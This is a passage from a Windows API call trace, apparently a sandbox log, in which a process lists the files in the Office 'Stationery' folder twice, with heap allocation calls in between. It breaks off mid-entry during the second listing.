[0087.213] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.214] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42146c84, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42146c84, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e4d104, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0087.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb688 [0087.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.217] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8267651c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0087.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb6a8 [0087.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303838 [0087.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x81305af3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0087.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb6c8 [0087.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303940 [0087.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e73264, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0087.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb6e8 [0087.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303a48 [0087.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82780ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0087.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb708 [0087.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303b50 [0087.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.223] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ebf524, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0087.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb728 [0087.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303c58 [0087.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.225] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827cd17c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0087.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb748 [0087.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303d60 [0087.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.226] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f0b7e4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0087.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb768 [0087.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303e68 [0087.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.228] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827f32dc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0087.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb788 [0087.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303f70 [0087.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.230] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f57aa4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0087.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb7a8 [0087.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304078 [0087.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8283f59c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0087.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41fa3d64, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828d7b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ff0024, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828fdc7c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42016184, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82949f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42062444, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829961fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x420ae704, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0087.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0087.233] GetLastError () returned 0x12 [0087.233] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.233] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42146c84, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42146c84, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e4d104, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8267651c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x81305af3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e73264, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82780ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ebf524, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827cd17c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0087.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f0b7e4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand 